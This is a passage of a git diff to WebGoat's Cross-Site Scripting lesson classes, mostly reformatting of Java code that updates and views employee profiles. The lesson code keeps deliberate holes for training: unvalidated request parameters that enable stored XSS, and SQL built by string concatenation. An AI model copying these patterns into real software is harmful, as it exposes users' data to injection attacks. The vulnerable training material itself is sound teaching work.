- ps.setString(6, employee.getAddress1());
- ps.setString(7, employee.getAddress2());
- ps.setInt(8, employee.getManager());
- ps.setString(9, employee.getStartDate());
- ps.setString(10, employee.getCcn());
- ps.setInt(11, employee.getCcnLimit());
- ps.setString(12, employee.getPersonalDescription());
- ps.setInt(13, subjectId);
- ps.execute();
- }
- catch (SQLException sqle)
- {
- s.setMessage("Error updating employee profile");
- sqle.printStackTrace();
- }
+ // The input validation can be added using a parsing component
+ // or by using an inline regular expression. The parsing component
+ // is the better solution.
+ HttpServletRequest request = s.getRequest();
+ String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME);
+ String lastName = request.getParameter(CrossSiteScripting.LAST_NAME);
+ String ssn = request.getParameter(CrossSiteScripting.SSN);
+ String title = request.getParameter(CrossSiteScripting.TITLE);
+ String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER);
+ String address1 = request.getParameter(CrossSiteScripting.ADDRESS1);
+ String address2 = request.getParameter(CrossSiteScripting.ADDRESS2);
+ int manager = Integer.parseInt(request.getParameter(CrossSiteScripting.MANAGER));
+ String startDate = request.getParameter(CrossSiteScripting.START_DATE);
+ int salary = Integer.parseInt(request.getParameter(CrossSiteScripting.SALARY));
+ String ccn = request.getParameter(CrossSiteScripting.CCN);
+ int ccnLimit = Integer.parseInt(request.getParameter(CrossSiteScripting.CCN_LIMIT));
+ String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE);
+ String disciplinaryActionNotes = request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
+ String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION);
+
+ Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
+ manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
+ personalDescription);
+
+ return employee;
}
- catch (Exception e)
+
+ protected Employee parseEmployeeProfile_BACKUP(int subjectId, WebSession s) throws ParameterNotFoundException,
+ ValidationException
{
- s.setMessage("Error updating employee profile");
- e.printStackTrace();
+ // The input validation can be added using a parsing component
+ // or by using an inline regular expression. The parsing component
+ // is the better solution.
+
+ HttpServletRequest request = s.getRequest();
+ String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME);
+ String lastName = request.getParameter(CrossSiteScripting.LAST_NAME);
+ String ssn = request.getParameter(CrossSiteScripting.SSN);
+ String title = request.getParameter(CrossSiteScripting.TITLE);
+ String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER);
+ String address1 = request.getParameter(CrossSiteScripting.ADDRESS1);
+ String address2 = request.getParameter(CrossSiteScripting.ADDRESS2);
+ int manager = Integer.parseInt(request.getParameter(CrossSiteScripting.MANAGER));
+ String startDate = request.getParameter(CrossSiteScripting.START_DATE);
+ int salary = Integer.parseInt(request.getParameter(CrossSiteScripting.SALARY));
+ String ccn = request.getParameter(CrossSiteScripting.CCN);
+ int ccnLimit = Integer.parseInt(request.getParameter(CrossSiteScripting.CCN_LIMIT));
+ String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE);
+ String disciplinaryActionNotes = request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
+ String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION);
+
+ Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
+ manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
+ personalDescription);
+
+ return employee;
}
- }
-
- public void doChangeEmployeeProfile_BACKUP(WebSession s, int userId,
- int subjectId, Employee employee) throws UnauthorizedException
- {
- try
+ protected Employee doParseEmployeeProfile(int subjectId, ParameterParser parser) throws ParameterNotFoundException,
+ ValidationException
{
- // Note: The password field is ONLY set by ChangePassword
- String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?,"
- + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?,"
- + " personal_description = ? WHERE userid = ?;";
- try
- {
- PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
-
- ps.setString(1, employee.getFirstName());
- ps.setString(2, employee.getLastName());
- ps.setString(3, employee.getSsn());
- ps.setString(4, employee.getTitle());
- ps.setString(5, employee.getPhoneNumber());
- ps.setString(6, employee.getAddress1());
- ps.setString(7, employee.getAddress2());
- ps.setInt(8, employee.getManager());
- ps.setString(9, employee.getStartDate());
- ps.setString(10, employee.getCcn());
- ps.setInt(11, employee.getCcnLimit());
- ps.setString(12, employee.getPersonalDescription());
- ps.setInt(13, subjectId);
- ps.executeUpdate(query);
- }
- catch (SQLException sqle)
- {
- s.setMessage("Error updating employee profile");
- sqle.printStackTrace();
- }
-
+ // Fix this method using the org.owasp.webgoat.session.ParameterParser class
+ return null;
}
- catch (Exception e)
+
+ public String getNextPage(WebSession s)
{
- s.setMessage("Error updating employee profile");
- e.printStackTrace();
+ return CrossSiteScripting.VIEWPROFILE_ACTION;
}
- }
-
- public void createEmployeeProfile(WebSession s, int userId,
- Employee employee) throws UnauthorizedException
- {
- try
+ public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee)
+ throws UnauthorizedException
{
- // FIXME: Cannot choose the id because we cannot guarantee uniqueness
- int nextId = getNextUID(s);
- String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
+ try
+ {
+ // Note: The password field is ONLY set by ChangePassword
+ String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?,"
+ + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?,"
+ + " personal_description = ? WHERE userid = ?;";
+ try
+ {
+ PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query,
+ ResultSet.TYPE_SCROLL_INSENSITIVE,
+ ResultSet.CONCUR_READ_ONLY);
- //System.out.println("Query: " + query);
+ ps.setString(1, employee.getFirstName());
+ ps.setString(2, employee.getLastName());
+ ps.setString(3, employee.getSsn());
+ ps.setString(4, employee.getTitle());
+ ps.setString(5, employee.getPhoneNumber());
+ ps.setString(6, employee.getAddress1());
+ ps.setString(7, employee.getAddress2());
+ ps.setInt(8, employee.getManager());
+ ps.setString(9, employee.getStartDate());
+ ps.setString(10, employee.getCcn());
+ ps.setInt(11, employee.getCcnLimit());
+ ps.setString(12, employee.getPersonalDescription());
+ ps.setInt(13, subjectId);
+ ps.execute();
+ } catch (SQLException sqle)
+ {
+ s.setMessage("Error updating employee profile");
+ sqle.printStackTrace();
+ }
- try
- {
- PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
-
- ps.setString(1, employee.getFirstName().toLowerCase());
- ps.setString(2, employee.getLastName());
- ps.setString(3, employee.getSsn());
- ps.setString(4, employee.getTitle());
- ps.setString(5, employee.getPhoneNumber());
- ps.setString(6, employee.getAddress1());
- ps.setString(7, employee.getAddress2());
- ps.setInt(8, employee.getManager());
- ps.setString(9, employee.getStartDate());
- ps.setString(10, employee.getCcn());
- ps.setInt(11, employee.getCcnLimit());
- ps.setString(12, employee.getDisciplinaryActionDate());
- ps.setString(13, employee.getDisciplinaryActionNotes());
- ps.setString(14, employee.getPersonalDescription());
-
- ps.execute();
- }
- catch (SQLException sqle)
- {
- s.setMessage("Error updating employee profile");
- sqle.printStackTrace();
- }
+ } catch (Exception e)
+ {
+ s.setMessage("Error updating employee profile");
+ e.printStackTrace();
+ }
}
- catch (Exception e)
+
+ public void doChangeEmployeeProfile_BACKUP(WebSession s, int userId, int subjectId, Employee employee)
+ throws UnauthorizedException
{
- s.setMessage("Error updating employee profile");
- e.printStackTrace();
+ try
+ {
+ // Note: The password field is ONLY set by ChangePassword
+ String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?,"
+ + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?,"
+ + " personal_description = ? WHERE userid = ?;";
+ try
+ {
+ PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query,
+ ResultSet.TYPE_SCROLL_INSENSITIVE,
+ ResultSet.CONCUR_READ_ONLY);
+
+ ps.setString(1, employee.getFirstName());
+ ps.setString(2, employee.getLastName());
+ ps.setString(3, employee.getSsn());
+ ps.setString(4, employee.getTitle());
+ ps.setString(5, employee.getPhoneNumber());
+ ps.setString(6, employee.getAddress1());
+ ps.setString(7, employee.getAddress2());
+ ps.setInt(8, employee.getManager());
+ ps.setString(9, employee.getStartDate());
+ ps.setString(10, employee.getCcn());
+ ps.setInt(11, employee.getCcnLimit());
+ ps.setString(12, employee.getPersonalDescription());
+ ps.setInt(13, subjectId);
+ ps.executeUpdate(query);
+ } catch (SQLException sqle)
+ {
+ s.setMessage("Error updating employee profile");
+ sqle.printStackTrace();
+ }
+
+ } catch (Exception e)
+ {
+ s.setMessage("Error updating employee profile");
+ e.printStackTrace();
+ }
}
- }
-
- public void createEmployeeProfile_BACKUP(WebSession s, int userId,
- Employee employee) throws UnauthorizedException
- {
- try
+ public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException
{
- // FIXME: Cannot choose the id because we cannot guarantee uniqueness
- int nextId = getNextUID(s);
- String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
+ try
+ {
+ // FIXME: Cannot choose the id because we cannot guarantee uniqueness
+ int nextId = getNextUID(s);
+ String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
- //System.out.println("Query: " + query);
+ // System.out.println("Query: " + query);
- try
- {
- PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
-
- ps.setString(1, employee.getFirstName().toLowerCase());
- ps.setString(2, employee.getLastName());
- ps.setString(3, employee.getSsn());
- ps.setString(4, employee.getTitle());
- ps.setString(5, employee.getPhoneNumber());
- ps.setString(6, employee.getAddress1());
- ps.setString(7, employee.getAddress2());
- ps.setInt(8, employee.getManager());
- ps.setString(9, employee.getStartDate());
- ps.setString(10, employee.getCcn());
- ps.setInt(11, employee.getCcnLimit());
- ps.setString(12, employee.getDisciplinaryActionDate());
- ps.setString(13, employee.getDisciplinaryActionNotes());
- ps.setString(14, employee.getPersonalDescription());
-
- ps.execute();
- }
- catch (SQLException sqle)
- {
- s.setMessage("Error updating employee profile");
- sqle.printStackTrace();
- }
+ try
+ {
+ PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
+
+ ps.setString(1, employee.getFirstName().toLowerCase());
+ ps.setString(2, employee.getLastName());
+ ps.setString(3, employee.getSsn());
+ ps.setString(4, employee.getTitle());
+ ps.setString(5, employee.getPhoneNumber());
+ ps.setString(6, employee.getAddress1());
+ ps.setString(7, employee.getAddress2());
+ ps.setInt(8, employee.getManager());
+ ps.setString(9, employee.getStartDate());
+ ps.setString(10, employee.getCcn());
+ ps.setInt(11, employee.getCcnLimit());
+ ps.setString(12, employee.getDisciplinaryActionDate());
+ ps.setString(13, employee.getDisciplinaryActionNotes());
+ ps.setString(14, employee.getPersonalDescription());
+
+ ps.execute();
+ } catch (SQLException sqle)
+ {
+ s.setMessage("Error updating employee profile");
+ sqle.printStackTrace();
+ }
+ } catch (Exception e)
+ {
+ s.setMessage("Error updating employee profile");
+ e.printStackTrace();
+ }
}
- catch (Exception e)
+
+ public void createEmployeeProfile_BACKUP(WebSession s, int userId, Employee employee) throws UnauthorizedException
{
- s.setMessage("Error updating employee profile");
- e.printStackTrace();
+ try
+ {
+ // FIXME: Cannot choose the id because we cannot guarantee uniqueness
+ int nextId = getNextUID(s);
+ String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
+
+ // System.out.println("Query: " + query);
+
+ try
+ {
+ PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
+
+ ps.setString(1, employee.getFirstName().toLowerCase());
+ ps.setString(2, employee.getLastName());
+ ps.setString(3, employee.getSsn());
+ ps.setString(4, employee.getTitle());
+ ps.setString(5, employee.getPhoneNumber());
+ ps.setString(6, employee.getAddress1());
+ ps.setString(7, employee.getAddress2());
+ ps.setInt(8, employee.getManager());
+ ps.setString(9, employee.getStartDate());
+ ps.setString(10, employee.getCcn());
+ ps.setInt(11, employee.getCcnLimit());
+ ps.setString(12, employee.getDisciplinaryActionDate());
+ ps.setString(13, employee.getDisciplinaryActionNotes());
+ ps.setString(14, employee.getPersonalDescription());
+
+ ps.execute();
+ } catch (SQLException sqle)
+ {
+ s.setMessage("Error updating employee profile");
+ sqle.printStackTrace();
+ }
+ } catch (Exception e)
+ {
+ s.setMessage("Error updating employee profile");
+ e.printStackTrace();
+ }
}
- }
+ /**
+ * Validates that the given parameter value matches the given regular expression pattern.
+ *
+ * @param parameter
+ * @param pattern
+ * @return
+ * @throws ValidationException
+ */
+ protected String validate(final String parameter, final Pattern pattern) throws ValidationException
+ {
+ Matcher matcher = pattern.matcher(parameter);
+ if (!matcher.matches()) throw new ValidationException();
- /**
- * Validates that the given parameter value matches the given regular expression pattern.
- *
- * @param parameter
- * @param pattern
- * @return
- * @throws ValidationException
- */
- protected String validate(final String parameter, final Pattern pattern)
- throws ValidationException
- {
- Matcher matcher = pattern.matcher(parameter);
- if (!matcher.matches())
- throw new ValidationException();
+ return parameter;
+ }
- return parameter;
- }
-
- private int getNextUID(WebSession s)
- {
- int uid = -1;
- try
- {
- Statement statement = WebSession.getConnection(s).createStatement(
- ResultSet.TYPE_SCROLL_INSENSITIVE,
- ResultSet.CONCUR_READ_ONLY);
- ResultSet results = statement
- .executeQuery("select max(userid) as uid from employee");
- results.first();
- uid = results.getInt("uid");
- }
- catch (SQLException sqle)
- {
- sqle.printStackTrace();
- s.setMessage("Error updating employee profile");
- }
- catch (ClassNotFoundException e)
- {
- // TODO Auto-generated catch block
- e.printStackTrace();
- }
- return uid + 1;
- }
+ private int getNextUID(WebSession s)
+ {
+ int uid = -1;
+ try
+ {
+ Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
+ ResultSet.CONCUR_READ_ONLY);
+ ResultSet results = statement.executeQuery("select max(userid) as uid from employee");
+ results.first();
+ uid = results.getInt("uid");
+ } catch (SQLException sqle)
+ {
+ sqle.printStackTrace();
+ s.setMessage("Error updating employee profile");
+ } catch (ClassNotFoundException e)
+ {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+ return uid + 1;
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/ViewProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/ViewProfile.java
index c694b93ba..83a70aad2 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/ViewProfile.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/ViewProfile.java
@@ -1,9 +1,9 @@
+
package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
-
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.Employee;
@@ -13,240 +13,200 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class ViewProfile extends DefaultLessonAction
{
- public ViewProfile(GoatHillsFinancial lesson, String lessonName,
- String actionName)
- {
- super(lesson, lessonName, actionName);
- }
-
-
- public void handleRequest(WebSession s) throws ParameterNotFoundException,
- UnauthenticatedException, UnauthorizedException,
- ValidationException
- {
- getLesson().setCurrentAction(s, getActionName());
-
- if (isAuthenticated(s))
+ public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
{
- int userId = getIntSessionAttribute(s, getLessonName() + "."
- + CrossSiteScripting.USER_ID);
- int employeeId = -1;
- try
- {
- // User selected employee
- employeeId = s.getParser().getIntParameter(
- CrossSiteScripting.EMPLOYEE_ID);
- }
- catch (ParameterNotFoundException e)
- {
- // May be an internally selected employee
- employeeId = getIntRequestAttribute(s, getLessonName() + "."
- + CrossSiteScripting.EMPLOYEE_ID);
- }
-
- Employee employee = getEmployeeProfile(s, userId, employeeId);
- setSessionAttribute(s, getLessonName() + "."
- + CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee);
-
- updateLessonStatus(s, employee);
+ super(lesson, lessonName, actionName);
}
- else
- throw new UnauthenticatedException();
- }
-
- public String getNextPage(WebSession s)
- {
- return CrossSiteScripting.VIEWPROFILE_ACTION;
- }
-
-
- public Employee getEmployeeProfile(WebSession s, int userId,
- int subjectUserId) throws UnauthorizedException
- {
- Employee profile = null;
-
- // Query the database for the profile data of the given employee
- try
+ public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
+ UnauthorizedException, ValidationException
{
- String query = "SELECT * FROM employee WHERE userid = "
- + subjectUserId;
+ getLesson().setCurrentAction(s, getActionName());
- try
- {
- Statement answer_statement = WebSession.getConnection(s)
- .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
- ResultSet.CONCUR_READ_ONLY);
- ResultSet answer_results = answer_statement.executeQuery(query);
- if (answer_results.next())
+ if (isAuthenticated(s))
{
- // Note: Do NOT get the password field.
- profile = new Employee(answer_results.getInt("userid"),
- answer_results.getString("first_name"),
- answer_results.getString("last_name"),
- answer_results.getString("ssn"), answer_results
- .getString("title"), answer_results
- .getString("phone"), answer_results
- .getString("address1"), answer_results
- .getString("address2"), answer_results
- .getInt("manager"), answer_results
- .getString("start_date"), answer_results
- .getInt("salary"), answer_results
- .getString("ccn"), answer_results
- .getInt("ccn_limit"), answer_results
- .getString("disciplined_date"),
- answer_results.getString("disciplined_notes"),
- answer_results.getString("personal_description"));
- /* System.out.println("Retrieved employee from db: " +
- profile.getFirstName() + " " + profile.getLastName() +
- " (" + profile.getId() + ")");
- */}
- }
- catch (SQLException sqle)
- {
- s.setMessage("Error getting employee profile");
- sqle.printStackTrace();
- }
- }
- catch (Exception e)
- {
- s.setMessage("Error getting employee profile");
- e.printStackTrace();
+ int userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID);
+ int employeeId = -1;
+ try
+ {
+ // User selected employee
+ employeeId = s.getParser().getIntParameter(CrossSiteScripting.EMPLOYEE_ID);
+ } catch (ParameterNotFoundException e)
+ {
+ // May be an internally selected employee
+ employeeId = getIntRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID);
+ }
+
+ Employee employee = getEmployeeProfile(s, userId, employeeId);
+ setSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee);
+
+ updateLessonStatus(s, employee);
+ }
+ else
+ throw new UnauthenticatedException();
}
- return profile;
- }
-
-
- public Employee getEmployeeProfile_BACKUP(WebSession s, int userId,
- int subjectUserId) throws UnauthorizedException
- {
- // Query the database to determine if this employee has access to this function
- // Query the database for the profile data of the given employee if "owned" by the given user
-
- Employee profile = null;
-
- // Query the database for the profile data of the given employee
- try
+ public String getNextPage(WebSession s)
{
- String query = "SELECT * FROM employee WHERE userid = "
- + subjectUserId;
+ return CrossSiteScripting.VIEWPROFILE_ACTION;
+ }
- try
- {
- Statement answer_statement = WebSession.getConnection(s)
- .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
- ResultSet.CONCUR_READ_ONLY);
- ResultSet answer_results = answer_statement.executeQuery(query);
- if (answer_results.next())
+ public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
+ {
+ Employee profile = null;
+
+ // Query the database for the profile data of the given employee
+ try
{
- // Note: Do NOT get the password field.
- profile = new Employee(answer_results.getInt("userid"),
- answer_results.getString("first_name"),
- answer_results.getString("last_name"),
- answer_results.getString("ssn"), answer_results
- .getString("title"), answer_results
- .getString("phone"), answer_results
- .getString("address1"), answer_results
- .getString("address2"), answer_results
- .getInt("manager"), answer_results
- .getString("start_date"), answer_results
- .getInt("salary"), answer_results
- .getString("ccn"), answer_results
- .getInt("ccn_limit"), answer_results
- .getString("disciplined_date"),
- answer_results.getString("disciplined_notes"),
- answer_results.getString("personal_description"));
- /* System.out.println("Retrieved employee from db: " +
- profile.getFirstName() + " " + profile.getLastName() +
- " (" + profile.getId() + ")");
- */}
- }
- catch (SQLException sqle)
- {
- s.setMessage("Error getting employee profile");
- sqle.printStackTrace();
- }
- }
- catch (Exception e)
- {
- s.setMessage("Error getting employee profile");
- e.printStackTrace();
- }
+ String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
- return profile;
- }
-
-
- private void updateLessonStatus(WebSession s, Employee employee)
- {
- String stage = getStage(s);
- int userId = -1;
- try {
- userId = getIntSessionAttribute(s, getLessonName() + "."
- + CrossSiteScripting.USER_ID);
- } catch (ParameterNotFoundException pnfe) {
- }
- if (CrossSiteScripting.STAGE1.equals(stage))
- {
- String address1 = employee.getAddress1().toLowerCase();
- if (userId != employee.getId()
- && address1.indexOf("") > -1)
+ try
+ {
+ Statement answer_statement = WebSession.getConnection(s)
+ .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
+ ResultSet answer_results = answer_statement.executeQuery(query);
+ if (answer_results.next())
+ {
+ // Note: Do NOT get the password field.
+ profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
+ answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
+ .getString("title"), answer_results.getString("phone"), answer_results
+ .getString("address1"), answer_results.getString("address2"), answer_results
+ .getInt("manager"), answer_results.getString("start_date"), answer_results
+ .getInt("salary"), answer_results.getString("ccn"), answer_results
+ .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
+ .getString("disciplined_notes"), answer_results.getString("personal_description"));
+ /*
+ * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
+ * profile.getLastName() + " (" + profile.getId() + ")");
+ */}
+ } catch (SQLException sqle)
+ {
+ s.setMessage("Error getting employee profile");
+ sqle.printStackTrace();
+ }
+ } catch (Exception e)
{
- setStageComplete(s, CrossSiteScripting.STAGE1);
+ s.setMessage("Error getting employee profile");
+ e.printStackTrace();
+ }
+
+ return profile;
+ }
+
+ public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
+ {
+ // Query the database to determine if this employee has access to this function
+ // Query the database for the profile data of the given employee if "owned" by the given
+ // user
+
+ Employee profile = null;
+
+ // Query the database for the profile data of the given employee
+ try
+ {
+ String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
+
+ try
+ {
+ Statement answer_statement = WebSession.getConnection(s)
+ .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
+ ResultSet answer_results = answer_statement.executeQuery(query);
+ if (answer_results.next())
+ {
+ // Note: Do NOT get the password field.
+ profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
+ answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
+ .getString("title"), answer_results.getString("phone"), answer_results
+ .getString("address1"), answer_results.getString("address2"), answer_results
+ .getInt("manager"), answer_results.getString("start_date"), answer_results
+ .getInt("salary"), answer_results.getString("ccn"), answer_results
+ .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
+ .getString("disciplined_notes"), answer_results.getString("personal_description"));
+ /*
+ * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
+ * profile.getLastName() + " (" + profile.getId() + ")");
+ */}
+ } catch (SQLException sqle)
+ {
+ s.setMessage("Error getting employee profile");
+ sqle.printStackTrace();
+ }
+ } catch (Exception e)
+ {
+ s.setMessage("Error getting employee profile");
+ e.printStackTrace();
+ }
+
+ return profile;
+ }
+
+ private void updateLessonStatus(WebSession s, Employee employee)
+ {
+ String stage = getStage(s);
+ int userId = -1;
+ try
+ {
+ userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID);
+ } catch (ParameterNotFoundException pnfe)
+ {
+ }
+ if (CrossSiteScripting.STAGE1.equals(stage))
+ {
+ String address1 = employee.getAddress1().toLowerCase();
+ if (userId != employee.getId() && address1.indexOf("") > -1)
+ {
+ setStageComplete(s, CrossSiteScripting.STAGE1);
+ }
+ }
+ else if (CrossSiteScripting.STAGE3.equals(stage))
+ {
+ String address2 = employee.getAddress1().toLowerCase();
+ if (address2.indexOf("") > -1)
+ {
+ setStageComplete(s, CrossSiteScripting.STAGE3);
+ }
+ }
+ else if (CrossSiteScripting.STAGE4.equals(stage))
+ {
+ if (employee.getAddress1().toLowerCase().indexOf("<") > -1)
+ {
+ setStageComplete(s, CrossSiteScripting.STAGE4);
+ }
}
}
- else if (CrossSiteScripting.STAGE3.equals(stage))
- {
- String address2 = employee.getAddress1().toLowerCase();
- if (address2.indexOf("") > -1)
- {
- setStageComplete(s, CrossSiteScripting.STAGE3);
- }
- }
- else if (CrossSiteScripting.STAGE4.equals(stage))
- {
- if (employee.getAddress1().toLowerCase().indexOf("<") > -1)
- {
- setStageComplete(s, CrossSiteScripting.STAGE4);
- }
- }
- }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/DBCrossSiteScripting.java b/main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/DBCrossSiteScripting.java
index 5832ccc29..71492bd20 100755
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/DBCrossSiteScripting.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/DBCrossSiteScripting.java
@@ -1,8 +1,8 @@
+
package org.owasp.webgoat.lessons.DBCrossSiteScripting;
import java.util.ArrayList;
import java.util.List;
-
import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DeleteProfile;
@@ -21,240 +21,221 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
+
/**
- /*******************************************************************************
+ * /*******************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
- *
+ *
*/
public class DBCrossSiteScripting extends GoatHillsFinancial
{
- private final static Integer DEFAULT_RANKING = new Integer(100);
+ private final static Integer DEFAULT_RANKING = new Integer(100);
- public final static String STAGE1 = "Stored XSS";
-
- public final static String STAGE2 = "Block Stored XSS using DB Input Validation";
-
- protected void registerActions(String className)
- {
- registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
